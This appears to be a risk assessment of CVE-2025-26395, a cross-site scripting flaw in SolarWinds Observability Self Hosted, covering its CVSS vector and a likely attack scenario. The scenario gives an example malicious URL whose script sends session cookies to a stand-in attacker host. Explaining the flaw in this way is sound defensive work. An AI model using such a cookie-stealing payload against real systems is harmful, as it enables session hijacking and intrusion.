Observability Self Hosted CVE-2025-26395

The CVSS 7.1 score reflects a HIGH-severity but moderately-constrained vulnerability. Breaking down the CVSS vector (AV:A/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L): Adjacent attack vector limits exposure, high privileges and user interaction are significant friction factors, but the scope change and high confidentiality impact are concerning. Real-world risk is MODERATE-TO-HIGH because: (1) SolarWinds is widely deployed in enterprise environments, (2) admin accounts are high-value targets, (3) XSS can lead to credential theft, lateral movement, or malware distribution even with the constraints, (4) no KEV or active exploitation data suggests this is not yet weaponized. EPSS data is unavailable here, but given the authentication/interaction requirements, exploitation probability is likely in the 20-40% range. Organizations should prioritize patching but this is not an emergency-tier 0-day. The real risk depends on network segmentation and whether SolarWinds is internet-accessible.

An attacker with valid SolarWinds admin credentials (obtained via phishing, credential stuffing, or insider access) crafts a malicious URL containing JavaScript in a URL parameter, e.g., https://solarwinds.example.com/admin?dashboard=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>. The attacker sends this link to another administrator via email or chat. When the victim admin clicks the link, the unescaped JavaScript executes in their browser within the context of the SolarWinds admin session, exfiltrating session cookies, API tokens, or credentials. The attacker can then use these stolen credentials to access sensitive observability data, modify monitoring rules, disable alerts, or pivot to monitored infrastructure. Success requires the attacker to have admin access and the victim to click the link—both friction points that reduce but do not eliminate risk in targeted scenarios.